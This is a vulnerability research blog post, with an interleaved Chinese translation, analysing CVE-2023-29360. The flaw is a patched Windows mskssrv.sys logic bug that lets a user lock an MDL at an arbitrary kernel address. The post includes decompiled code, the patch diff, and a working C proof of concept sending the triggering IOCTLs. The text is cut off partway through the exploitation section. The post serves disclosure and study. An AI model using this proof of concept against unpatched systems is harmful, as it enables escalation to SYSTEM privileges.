原文始发于Theori Vulnerability Research:Chaining N-days to Compromise All: Part 3 — Windows Driver LPE: Medium to System
Chaining N-days to Compromise All: Part 3 — Windows Driver LPE: Medium to System
This blog post is the third series about the vulnerabilities used in our 1-day full chain exploit we demonstrated on X. In this blog post, we will present how we elevate the privilege from user to SYSTEM to chain the vulnerability of VMWare. The vulnerability is CVE-2023–29360, a beautiful and powerful logic bug in mskssrv.sys
driver.
这篇博文是关于我们在 X 上演示的 1 天全链漏洞利用中使用的漏洞的第三个系列。在这篇博文中,我们将介绍如何将权限从用户提升到系统,以链接 VMWare 的漏洞。该漏洞是 CVE-2023–29360,这是驱动程序中 mskssrv.sys
一个漂亮而强大的逻辑错误。
This vulnerability was used by @Synacktiv in Pwn2Own 2023 Vancouver. This vulnerability has been patched in June, and Fermium-252, our threat intelligence service, has both a PoC and an exploit of this vulnerability since July 2023.
@Synacktiv在 Pwn2Own 2023 Vancouver 中使用了此漏洞。此漏洞已于 6 月修补,自 2023 年 7 月以来,我们的威胁情报服务 Fermium-252 同时存在 PoC 和利用此漏洞。
Memory Descriptor List (MDL)
内存描述符列表 (MDL)
Memory Descriptor List (MDL) is the most important concept of this vulnerability. In MSDN, it says about MDL as follows.
内存描述符列表 (MDL) 是此漏洞最重要的概念。在 MSDN 中,它对 MDL 的描述如下。
An I/O buffer that spans a range of contiguous virtual memory addresses
can be spread over several physical pages, and these pages can be discontiguous.
The operating system uses a memory descriptor list (MDL) to describe
the physical page layout for a virtual memory buffer.
As explaining above, MDL is used to describe the mapping of virtual address and physical address, and it is expressed as _MDL
structure.
如上所述,MDL用于描述虚拟地址和物理地址的映射,并表示为 _MDL
结构。
0: kd> dt _MDL
nt!_MDL
+0x000 Next : Ptr64 _MDL
+0x008 Size : Int2B
+0x00a MdlFlags : Int2B
+0x00c AllocationProcessorNumber : Uint2B
+0x00e Reserved : Uint2B
+0x010 Process : Ptr64 _EPROCESS
+0x018 MappedSystemVa : Ptr64 Void
+0x020 StartVa : Ptr64 Void
+0x028 ByteCount : Uint4B
+0x02c ByteOffset : Uint4B
StartVa
is the virtual address, ByteOffset
is the offset to start, and MappedSystemVa
is the mapped virtual address which MDL describes. MappedSystemVa
is only valid after locking and mapping through MmProbeAndLockPages
and MmMapLockedPagesSpecifyCache
, respectively. In addition, the physical page address is located at the end of _MDL
structure.
StartVa
是虚拟地址, ByteOffset
是开始的偏移量, MappedSystemVa
并且是 MDL 描述的映射虚拟地址。 MappedSystemVa
仅在分别锁定和映射 MmProbeAndLockPages
和 MmMapLockedPagesSpecifyCache
后才有效。此外,物理页面地址位于结构的 _MDL
末尾。
Generally, the MDL is used like below code.
通常,MDL 的使用方式如下。
PMDL pMDL = NULL;
pMDL = IoAllocateMdl(Address, Size, FALSE, FALSE, NULL);
__try
{
MmProbeAndLockPages(pMDL, AccessMode, IoReadAccess);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
IoFreeMdl(pMDL);
return;
}
PVOID MappingData = MmMapLockedPagesSpecifyCache(pMDL, AccessMode, MmNonCached, NULL, FALSE, NormalPagePriority);
To see the real memory data for the _MDL
structure, let’s check the data on WinDbg.
若要查看 _MDL
结构的实际内存数据,让我们检查 WinDbg 上的数据。
0: kd> dt _MDL ffffe78fc266bb30
nt!_MDL
+0x000 Next : (null)
+0x008 Size : 0n64
+0x00a MdlFlags : 0n139
+0x00c AllocationProcessorNumber : 1
+0x00e Reserved : 0
+0x010 Process : (null)
+0x018 MappedSystemVa : 0xffff8001`b72b1008 Void // Mapped Address
+0x020 StartVa : 0xffffc082`b38e3000 Void // Virtual Address
+0x028 ByteCount : 0x1008
+0x02c ByteOffset : 8 // Offset
0: kd> dq ffffe78fc266bb30 L8
ffffe78f`c266bb30 00000000`00000000 00000001`008b0040
ffffe78f`c266bb40 00000000`00000000 ffff8001`b72b1008
ffffe78f`c266bb50 ffffc082`b38e3000 00000008`00001008
ffffe78f`c266bb60 00000000`00229647 00000000`00220448
^^^^^^^^^^^^^^^^^
Physical Page Address
0: kd> db 0xffffc082`b38e3000 + 8
ffffc082`b38e3008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
ffffc082`b38e3018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
ffffc082`b38e3028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
ffffc082`b38e3038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
ffffc082`b38e3048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
ffffc082`b38e3058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
ffffc082`b38e3068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
ffffc082`b38e3078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
0: kd> !db 00229647*1000 + 8
#229647008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
#229647018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
#229647028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
#229647038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
#229647048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
#229647058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
#229647068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
#229647078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
0: kd> db 0xffff8001`b72b1008
ffff8001`b72b1008 00 5d 89 4a 00 00 00 00-60 00 00 00 02 00 00 00 .].J....`.......
ffff8001`b72b1018 90 0e 01 00 00 00 05 00-d4 0e 01 00 00 00 04 00 ................
ffff8001`b72b1028 a0 5c 89 4a 00 00 00 00-5e 5f 50 0e a2 84 da 01 .\.J....^_P.....
ffff8001`b72b1038 00 01 00 80 00 00 00 00-00 00 00 00 26 00 00 00 ............&...
ffff8001`b72b1048 22 00 3c 00 73 00 65 00-74 00 74 00 69 00 6e 00 ".<.s.e.t.t.i.n.
ffff8001`b72b1058 67 00 73 00 2e 00 64 00-61 00 74 00 2e 00 4c 00 g.s...d.a.t...L.
ffff8001`b72b1068 4f 00 47 00 32 00 00 00-30 00 2d 00 31 00 38 00 O.G.2...0.-.1.8.
ffff8001`b72b1078 37 00 32 00 31 00 34 00-35 00 36 00 31 00 31 00 7.2.1.4.5.6.1.1.
As shown in the above, the data pointed by the virtual address and physical address is the same, which means MDL maps the physical address and virtual address.
如上图所示,虚拟地址和物理地址指向的数据是相同的,这意味着MDL映射了物理地址和虚拟地址。
CVE-2023–29360
This vulnerability exists in the mskssrv.sys
driver. This driver is used for processing the streaming data, such as camera device, in kernel mode.
mskssrv.sys
驱动程序中存在此漏洞。此驱动程序用于在内核模式下处理流数据,例如相机设备。
To find the device path for communicating to this driver, we checked FrameService
, the service handles the streaming data. In the service dll, FrameService.dll
, we can find the code that gets the device handle of mskssrv.sys
driver.
为了找到与此驱动程序通信的设备路径,我们检查 FrameService
了 ,该服务处理流数据。在服务 dll 中, FrameService.dll
我们可以找到获取 mskssrv.sys
驱动程序的设备句柄的代码。
__int64 __fastcall MSKSSrv_GetHandle(_QWORD *phandle){
...
result = CM_Get_Device_Interface_ListW(&GUID_3c0d501a_140b_11d1_b40f_00a0c9223196, 0i64, buffer, bufferlen, 0);
if ( !result && *buffer){
handle = CreateFileW(buffer, 0xC0000000, 0, 0i64, 3u, 0x80u, 0i64);
if ( handle != (HANDLE)-1i64 )
{
*phandle = handle;
result = 0i64;
}
...
}
From this code, we can see the device path is \\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
从这段代码中,我们可以看到设备路径是 \\?\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}
Calling DeviceIoControl
API on this driver will trigger the mskssrv!SrvDispatchIoControl
function.
在此驱动程序上调用 DeviceIoControl
API 将触发该 mskssrv!SrvDispatchIoControl
函数。
__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
FSRendezvousServer::Release(RendezvousServerObj);
}
...
case 0x2F0410:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp); // ConsumeTx
FSRendezvousServer::Release(RendezvousServerObj);
}
...
SrvDispatchIoControl
calls appropriate function according to IoControlCode
of DeviceIoControl
. When IoControlCode
is 0x2F0408
, FSRendezvousServer::PublishTx
is called, and FSRendezvousServer::PublishTx
calls FSStreamReg::PublishTx
again.
SrvDispatchIoControl
根据 IoControlCode
调用 DeviceIoControl
适当的函数。何时 IoControlCode
调用 0x2F0408
, FSRendezvousServer::PublishTx
并 FSRendezvousServer::PublishTx
再次调用 FSStreamReg::PublishTx
。
__int64 __fastcall FSStreamReg::PublishTx(FSStreamReg *FsStreamRegObj, __int64 data)
{
// [1]. Validate Input Buffer
result = FSStreamReg::CheckRecycle(FsStreamRegObj, data);
if ( result < 0 )
return result;
// [2]. Repeat until `data+0x24`
for ( idx = 0; idx < *(data + 0x24); ++idx )
{
offset = 0x88i64 * idx;
if ( *(offset + data + 0x70) )
{
// Allocate memory
buffer = operator new(0xD8ui64, unknown, 0x736C644Du);
if ( buffer )
{
*(buffer + 16) = 0;
*(buffer + 208) = 0;
memset((buffer + 24), 0, 0xB8ui64);
}
else
{
return 0xC000009A;
}
// [3]. Allocate MDL by using user supplied data
result = FSFrameMdl::AllocateMdl(buffer, offset + data + 0x28);
if ( result < 0 )
{
// ERROR
}
// [4]. insert the MDL to FSFrameMdlList in FsStreamRegObject
FSFrameMdlList::InsertTail((FsStreamRegObj + 0xC8), buffer);
...
}
}
...
}
After validating the user supplied value ([1]
), FSStreamReg::PublishTx
processes the user data by looping as many times as Count
at data+0x24
([2]
). The MDL is allocated via FSFrameMdl::AllocateMdl
with user-supplied data([3]
), and the MDL information is inserted to the published list in FsStreamRegObject
([4]
).
验证用户提供的值 ( [1]
) 后, FSStreamReg::PublishTx
通过循环 Count
data+0x24
( ) 的次数来处理用户数据 [2]
。MDL 通过 FSFrameMdl::AllocateMdl
用户提供的数据 ( [3]
) 进行分配,MDL 信息插入到 ( [4]
) 中的 FsStreamRegObject
已发布列表中。
Among these, let’s take a closer look at the code of the FSFrameMdl::AllocateMdl
function.
其中,让我们仔细看看 FSFrameMdl::AllocateMdl
函数的代码。
__int64 __fastcall FSFrameMdl::AllocateMdl(FSFrameMdl *FsFrameMdlobj, __int64 user_data)
{
// [5]. Copy User Data
HandleInformation = 0i64;
Object = 0i64;
memcpy(FsFrameMdlobj + 0x18, user_data, 0x88);
mapflag = *(user_data + 0x48);
if ( !mapflag )
{
// Omitted
}
switch(mapflag){
case 4:
case 8:
// [*] Create MDL by using user supplied data
result = FsAllocAndLockMdl(*(user_data + 0x20), *(user_data + 0x34), FsFrameMdlobj + 0xA0);
if(result < 0){ /* ERROR */ }
case 1:
// [*] Create MDL by using user supplied data
result = FsAllocAndLockMdl(*(user_data + 0x38), *(user_data + 0x44), FsFrameMdlobj + 0xB0);
if(result < 0){ /* ERROR */ }
...
}
...
}
FSFrameMdl::AllocateMdl
copies user data into the kernel buffer (FsFrameMdlobj
) at [5]
, and calls FsAllocAndLockMdl
with user-controllable arguments.
FSFrameMdl::AllocateMdl
将用户数据复制到 的内核缓冲区 ( FsFrameMdlobj
) 中 [5]
,并使用用户可控参数进行调用 FsAllocAndLockMdl
。
__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if ( !address || !size || !mdl_object )
return 0xC000000D;
// [6]. Allocate MDL
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if ( !Alloc_Mdl )
return 0xC000009A;
// [7]. Probe and Lock MDL with "KernelMode (0)"
MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
*mdl_object = Alloc_Mdl;
return 0;
}
FsAllocAndLockMdl
allocates the MDL via IoAllocateMdl
([6]
), and locks the MDL area via MmProbeAndLockPages
with IoWriteAccess
permission ([7]
). However, when calling MmProbeAndLockPages
, the second argument, AccessMode
, is set to KernelMode(0)
. If the AccessMode
is KernelMode(0)
, the validation for the address is skipped.
FsAllocAndLockMdl
通过 IoAllocateMdl
( [6]
) 分配 MDL,并在允许 ( ) 的情况下 IoWriteAccess
锁定 MDL 区域 [7]
。 MmProbeAndLockPages
但是,在调用 MmProbeAndLockPages
时,第二个参数 AccessMode
设置为 KernelMode(0)
。如果为 AccessMode
KernelMode(0)
,则跳过对地址的验证。
// MmProbeAndLockPages -> MiProbeAndLockPages-> MiProbeAndLockPrepare
__int64 __fastcall MiProbeAndLockPrepare(__int64 buffer, PMDL MemoryDescriptorList, unsigned __int64 address, unsigned int size, char AccessMode, int is_read, int flag)
{
v8 = is_read;
v10 = address + size;
*(_QWORD *)(buffer + 72) = KeGetCurrentThread();
v56 = 0;
*(_QWORD *)(buffer + 56) = MemoryDescriptorList;
*(_DWORD *)(buffer + 88) = is_read;
*(_QWORD *)buffer = address; // Base Address
*(_QWORD *)(buffer + 8) = address + size; // Start Address
// Check Address with the AccessMode==UserMode(1)
if ( AccessMode ){
if ( address + size > 0x7FFFFFFF0000i64 || address >= address + size )
{
++dword_140C4E5F8;
return 0xC0000005;
}
}
...
}
As shown in above code, the address will only be validated if the AccessMode
is UserMode(1)
. That is, we can lock MDL with an arbitrary address including the kernel address space from a user application.
如上面的代码所示,仅当 AccessMode
为 时 UserMode(1)
,才会验证地址。也就是说,我们可以用任意地址锁定 MDL,包括来自用户应用程序的内核地址空间。
The Patch of CVE-2023–29360
CVE-2023–29360 补丁
Compared module and versions : ntoskrnl.exe(x64), 10.0.19041.2913, 10.0.19041.3086
比较模块和版本:ntoskrnl.exe(x64)、10.0.19041.2913、10.0.19041.3086
__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if ( !address || !size || !mdl_object )
return 0xC000000D;
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if ( !Alloc_Mdl )
return 0xC000009A;
- MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
+ MmProbeAndLockPages(Alloc_Mdl, 1, IoWriteAccess); // Change the AccessMode to UserMode
*mdl_object = Alloc_Mdl;
return 0;
}
The patch is very simple. When locking the page, the second argument, AccessMode
, is changed to UserMode(1)
. If the AccessMode
is UserMode
, MmProbeAndLockPages
will check the address is placed in the user memory space (The address should be less than 0x7FFFFFFF0000
).
补丁非常简单。锁定页面时,第二个参数 AccessMode
,将更改为 UserMode(1)
。如果是 AccessMode
UserMode
, MmProbeAndLockPages
则检查地址是否放置在用户内存空间中(地址应小于 0x7FFFFFFF0000
)。
Reaching Vulnerable Code 到达易受攻击的代码
To trigger this vulnerability, we need to satisfy the condition to reach the vulnerable code.
要触发此漏洞,我们需要满足到达易受攻击代码的条件。
__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj); // [*] should be succeeded
if ( result >= 0 )
{
result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
FSRendezvousServer::Release(RendezvousServerObj);
}
First, FSGetRendezvousServer
should successfully retrieve the RendezvousServerObj
without errors ([*]
).
首先, FSGetRendezvousServer
应该成功检索到 RendezvousServerObj
没有错误 ( [*]
)。
__int64 __fastcall FSGetRendezvousServer(struct FSRendezvousServer **RendezvousServerObjPtr)
{
result = 0;
if ( ServerObj_1C0005048 )
{
// Store ServerObj_1C0005048 to RendezvousServerObjPtr
*RendezvousServerObjPtr = ServerObj_1C0005048;
_InterlockedIncrement(ServerObj_1C0005048);
}
else
{
result = 0xC0000010;
}
KeReleaseMutex(&Mutex, 0);
return v2;
}
As shown in above code, FSRendezvousServer
object is from a global variable, ServerObj_1C0005048
. ServerObj_1C0005048
is set up in FSInitializeContextRendezvous
, and it is called when IoControlCode
is 0x2F0400
.
如上面的代码所示, FSRendezvousServer
object 来自全局变量 ServerObj_1C0005048
。 ServerObj_1C0005048
设置在 中 FSInitializeContextRendezvous
,当 IoControlCode
是 0x2F0400
时调用。
__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1)
{
...
RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);
if(RendezvousServerObj){
// Initializing RendezvousServerObj
}
ServerObj_1C0005048 = RendezvousServerObj;
...
}
Next, let’s look at the conditions that should be met to trigger the target function FsAllocAndLockMdl
in the entry function, FSRendezvousServer::PublishTx
.
接下来,我们来看看在入口函数中触发目标函数 FsAllocAndLockMdl
需要满足的条件 FSRendezvousServer::PublishTx
。
__int64 __fastcall FSRendezvousServer::PublishTx(FSRendezvousServer *this, struct _IRP *irp)
{
...
// Validate input buffer
data = (__int64)irp->AssociatedIrp.MasterIrp;
if ( !data )
return 0xC000000D;
inputbufferlen = v2->Parameters.DeviceIoControl.InputBufferLength;
if ( (unsigned int)inputbufferlen < 0xB0 )
return 0xC000000D;
cnt = *(_DWORD *)(data + 0x20);
if ( cnt - 1 > 0x12B || *(_DWORD *)(data + 0x24) > cnt || inputbufferlen < 0x88 * (unsigned __int64)(cnt - 1) + 0xB0 )
return 0xC000000D;
FSRendezvousServer::Lock(this);
FsContext2 = (const struct FSRegObject *)obj->FileObject->FsContext2;
// [*] Find the "FsContext2" is in the FSRendezvousServer object
isfindobj = FSRendezvousServer::FindObject(this, FsContext2);
KeReleaseMutex((PRKMUTEX)((char *)this + 8), 0);
if ( isfindobj )
{
(*(void (__fastcall **)(const struct FSRegObject *))(*(_QWORD *)FsContext2 + 0x38i64))(FsContext2);// Lock FsStreamReg
// [8]. Call FSStreamReg::PublishTx
result = FSStreamReg::PublishTx(FsContext2, data);
First, FSRendezvousServer::PublishTx
validates the user-supplied data. These conditions are easy to satisfy because the data is fully controllable. And then, it calls FSRendezvousServer::FindObject
to check the obj->FileObject->FsContext2
is in FSRendezvousServer
. Only when FSRendezvousServer::FindObject
finds the FsContext2
in FSRendezvousServer
, FSStreamReg::PublishTx
is called ([8]
).
首先, FSRendezvousServer::PublishTx
验证用户提供的数据。这些条件很容易满足,因为数据是完全可控的。然后,它调用 FSRendezvousServer::FindObject
以检查 obj->FileObject->FsContext2
is in FSRendezvousServer
. FSRendezvousServer::FindObject
只有当找到 in FSRendezvousServer
时 FsContext2
, FSStreamReg::PublishTx
才称为 ( [8]
)。
We can infer that FsContext2
is the type of FSStreamReg
object from the fact that FsContext2
is used as the this
value of FSStreamReg::PublishTx
([8]
).
我们可以从用作 ( ) 值的事实中推断出 FsContext2
这是对象的 FSStreamReg
类型 [8]
。 FsContext2
this
FSStreamReg::PublishTx
Therefore, we need to find the function creates FSStreamReg
object and saves the object address to obj->FileObject->FsContext2
. That function is FSRendezvousServer::InitializeStream
, which is as follows.
因此,我们需要找到函数创建 FSStreamReg
对象并将对象地址保存到 obj->FileObject->FsContext2
。该函数是 FSRendezvousServer::InitializeStream
,如下所示。
__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp)
{
obj = irp->Tail.Overlay.CurrentStackLocation;
if ( obj->Parameters.DeviceIoControl.IoControlCode != 0x2F0404 || obj->FileObject->FsContext2 )
{
result = 0xC0000010;
}
else
{
data = (__int64)irp->AssociatedIrp.MasterIrp;
/**
Validate User Data
**/
// Allocate Buffer
buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u);
if ( buffer )
FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer); // Setup FSStreamReg
if ( !FSStreamReg_obj )
return 0xC000009A;
// Initialize FSStreamReg
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled() )
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);
else
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);
...
// [*] Save FSStreamReg_obj to FsContext2
obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;
_InterlockedIncrement(FSStreamReg_obj + 6);
...
FSRendezvousServer::InitializeStream
can be called when IoControlCode
is 0x2F0404
.
FSRendezvousServer::InitializeStream
当 IoControlCode
是 0x2F0404
时 ,可以调用 。
In sum up, the final PoC code would be like this.
总而言之,最终的PoC代码将是这样的。
#include <windows.h>
#include <winternl.h>
#include <cfgmgr32.h>
#include <stdio.h>
#pragma comment(lib, "Cfgmgr32.lib")
#define inputsize 0x100
#define outputsize 0x100
int main() {
WCHAR DeviceLink[256] = L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}";
HANDLE hDevice = NULL;
NTSTATUS ntstatus = 0;
hDevice = CreateFile(
DeviceLink,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0x80,
NULL
);
PCHAR inputBuffer = (PCHAR)malloc(inputsize);
PCHAR outputBuffer = (PCHAR)malloc(outputsize);
memset(inputBuffer, 0, inputsize);
memset(outputBuffer, 0, outputsize);
printf("[+] Initialize Rendezvous\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0; // NON ZERO
*(DWORD64*)(inputBuffer + 0x18) = 0; // 0
ntstatus = DeviceIoControl(hDevice, 0x2F0400, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // FSInitializeContextRendezvous
printf("[+] Initialize Stream\n");
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x00) = 0xffffffff; // &1 == Non ZERO
*(DWORD64*)(inputBuffer + 0x08) = GetCurrentProcessId(); // NON ZERO
*(DWORD64*)(inputBuffer + 0x10) = 0x4343434344444444; // NON ZERO
*(DWORD*)(inputBuffer + 0x1C) = 4; // -4 <= 0x74
*(DWORD*)(inputBuffer + 0x20) = 0x4000; // -0x4000 <= 0x7C000
*(HANDLE*)(inputBuffer + 0x28) = CreateEvent(NULL, FALSE, FALSE, NULL); // EVENT HANDLE
ntstatus = DeviceIoControl(hDevice, 0x2F0404, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // Initalize Stream
ULONG_PTR targetaddr = 0xffffffff00031337;
printf("[+] Trigger Vulnerability, Publish Tx ==> MDL with Arbitrary Addr: %p\n", targetaddr);
memset(inputBuffer, 0, inputsize);
*(DWORD*)(inputBuffer + 0x20) = 1; // maxCnt
*(DWORD*)(inputBuffer + 0x24) = 1; // CNT <= maxCnt
*(DWORD*)(inputBuffer + 0x28) = 1; // CNT <= maxCnt
*(DWORD64*)(inputBuffer + 0x28 + 0x20) = (DWORD64)targetaddr; // Addr1
*(DWORD*)(inputBuffer + 0x28 + 0x34) = 0x1000; // SIZE1
*(DWORD64*)(inputBuffer + 0x28 + 0x38) = (DWORD64)targetaddr; // Addr2
*(DWORD*)(inputBuffer + 0x28 + 0x44) = 0x1000; // SIZE2
*(DWORD64*)(inputBuffer + 0x70) = 0x8; // flag : (BYTE)(1,4,8)
ntstatus = DeviceIoControl(hDevice, 0x2F0408, inputBuffer, inputsize, outputBuffer, outputsize, NULL, NULL); // PublishTx
}
KDTARGET: Refreshing KD connection
*** Fatal System Error: 0x00000050
(0xFFFFFFFF00031337,0x0000000000000002,0xFFFFBE8223684321,0x0000000000000002)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
rax=0000000000000000 rbx=0000000000000003 rcx=0000000000000003
rdx=000000000000008a rsi=0000000000000000 rdi=fffff8001db9a180
rip=fffff8001f805240 rsp=ffffbe8223683898 rbp=ffffbe8223683a00
r8=0000000000000065 r9=0000000000000000 r10=0000000000000000
r11=0000000000000010 r12=0000000000000003 r13=ffffffff00031337
r14=0000000000000000 r15=ffff850b8e13a080
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00040286
nt!DbgBreakPointWithStatus:
fffff800`1f805240 cc int 3
...
0: kd> kb
# RetAddr : Args to Child : Call Site
00 fffff800`1f9162f2 : ffffbe82`23683a00 fffff800`1f77f010 00000000`00000000 00000000`00000000 : nt!DbgBreakPointWithStatus
01 fffff800`1f9158d6 : 00000000`00000003 ffffbe82`23683a00 fffff800`1f813040 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
02 fffff800`1f7fbda7 : 00000000`00000000 00000000`00000000 ffffffff`00031337 fffff800`1db9a180 : nt!KeBugCheck2+0x946
03 fffff800`1f84ac53 : 00000000`00000050 ffffffff`00031337 00000000`00000002 ffffbe82`23684321 : nt!KeBugCheckEx+0x107
04 fffff800`1f66e7b0 : 00000000`00000000 00000000`00000002 ffffbe82`23684339 00000000`00000000 : nt!MiSystemFault+0x1b2273
05 fffff800`1f716f3c : ffff850b`8e9ef000 fffff800`1f6131b5 ffffffff`ffffffff ffffbe82`00000002 : nt!MmAccessFault+0x400
06 fffff800`1f66c9b7 : 00000000`00000000 ffffaa55`2a9fffe0 ffffbe82`23684450 ffffaa55`2a954aa0 : nt!MiFaultInProbeAddress+0xbc
07 fffff800`1f66bcd3 : 00000000`00000000 00000000`00000000 ffffbe82`236844c9 ffffffff`00031337 : nt!MiLockPageLeafPageTable+0x2b7
08 fffff800`1f66aa59 : 00000000`00000000 ffff850b`8ea172f0 00000000`00000000 00000000`00000000 : nt!MiProbeAndLockPages+0x153
09 fffff800`3e402c98 : ffff850b`8e9ef170 00000000`00000000 00000000`00000200 00000000`00000000 : nt!MmProbeAndLockPages+0x29
0a fffff800`3e40b824 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : MSKSSRV!FsAllocAndLockMdl+0x64
0b fffff800`3e40c63d : 00000000`00000000 00000000`00000000 ffff850b`8e9ef170 00000000`00000000 : MSKSSRV!FSFrameMdl::AllocateMdl+0x140
0c fffff800`3e40a7e9 : 00000000`00000001 ffff850b`8f3ce9e8 ffff850b`8f3ce7b0 ffff850b`8e8a05f0 : MSKSSRV!FSStreamReg::PublishTx+0x9d
0d fffff800`3e409513 : 00000000`00000000 ffffbe82`236846f0 ffff850b`8f3ce7b0 ffff850b`88405900 : MSKSSRV!FSRendezvousServer::PublishTx+0xdd
0e fffff800`27e7dddc : ffff850b`8f3ce7b0 ffff850b`8bb86430 ffff850b`8f3cea30 00000000`00000fff : MSKSSRV!SrvDispatchIoControl+0x143
...
Exploitation 开发
In the PoC, we demonstrate just locking arbitrary address. To exploit this primitive, we need to map the manipulated MDL.
在 PoC 中,我们演示了仅锁定任意地址。为了利用这个原语,我们需要映射纵的 MDL。
FSFrameMdl::MapPages
is the function which maps the MDL. FSFrameMdl::MapPages
can be accessible from FSRendezvousServer::ConsumeTx
, which is called when IoControlCode
is 0x2F0410
, and it calls FSStreamReg::ConsumeTx
internally.
FSFrameMdl::MapPages
是映射 MDL 的函数。 FSFrameMdl::MapPages
FSRendezvousServer::ConsumeTx
可以从 访问,当 IoControlCode
是 0x2F0410
时调用,并在内部调用 FSStreamReg::ConsumeTx
。
__int64 __fastcall FSStreamReg::ConsumeTx(__int64 FsStreamReg, __int64 data)
{
if ( !data || !*(_DWORD *)(data + 0x20) )
return (unsigned int)-1073741811;
// [9]. Check the flag in FsStreamReg Object
if ( (unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled()
&& (!*(_DWORD *)(FsStreamReg + 0x28) || !*(_DWORD *)(FsStreamReg + 0x2C)) )
{
return 0xC0000466;
}
*(_DWORD *)(data + 0x24) = 0;
list = (_QWORD *)(FsStreamReg + 0x110);
if ( (_QWORD *)*list != list ) // Check List is Empty
{
while ( 1 )
{
// [10]. Get FsFrameMdl from Published List
FsFrameMdl = FSList::RemoveHead((FSList *)(FsStreamReg + 0x108));
...
// [11]. Map the FsFrameMdl to User Memory
result = FSFrameMdl::MapPages(
FsFrameMdl,
*(struct _EPROCESS **)(FsStreamReg + 0x38),
*(struct _EPROCESS **)(FsStreamReg + 0x40),
(struct FSMemoryStream *)(136 * v10 + data + 0x28));
...
// Add FsFrameMdl to Consumed List
